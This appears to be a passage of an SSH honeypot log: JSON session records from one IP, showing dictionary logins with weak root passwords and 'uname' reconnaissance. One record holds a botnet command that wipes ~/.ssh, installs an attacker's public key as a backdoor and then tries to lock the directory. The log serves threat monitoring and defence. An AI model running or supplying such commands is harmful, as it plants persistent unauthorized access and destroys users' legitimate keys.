"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zfh
{
"id": "7c307c94c7e9",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:43:08.129990Z",
"end_time": "2026-09-23T12:43:16.460120Z",
"duration": "8.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "zfh",
"pass": "!@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / eve
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "51a91fdedb0e",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:42:59.875479Z",
"end_time": "2026-09-23T12:43:08.598677Z",
"duration": "8.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "eve"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: deploy / root
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c1a0a8bc6c01",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:42:51.393422Z",
"end_time": "2026-09-23T12:42:57.375007Z",
"duration": "6.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "deploy",
"pass": "root"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / qwer1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "8b56fcca9ab9",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:42:41.845493Z",
"end_time": "2026-09-23T12:42:46.565997Z",
"duration": "4.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "qwer1234"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / qaz123wsx
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "73af57c936d1",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:42:33.682281Z",
"end_time": "2026-09-23T12:42:40.210611Z",
"duration": "6.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "qaz123wsx"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / abc123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "04ff67e712e8",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:42:25.911908Z",
"end_time": "2026-09-23T12:42:28.704151Z",
"duration": "2.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "abc123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / null
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0fe8a777e349",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:42:13.622158Z",
"end_time": "2026-09-23T12:42:21.545408Z",
"duration": "7.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "null"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / nimda
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "edbe6fef0851",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:42:04.993452Z",
"end_time": "2026-09-23T12:42:14.796540Z",
"duration": "9.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "nimda"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"RECONNAISSANCE",
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: park
{
"id": "945233ab7f59",
"src_ip": "109.160.32.78",
"start_time": "2026-09-23T12:41:55.191502Z",
"end_time": "2026-09-23T12:42:02.556123Z",
"duration": "7.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "park",
"pass": "park"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}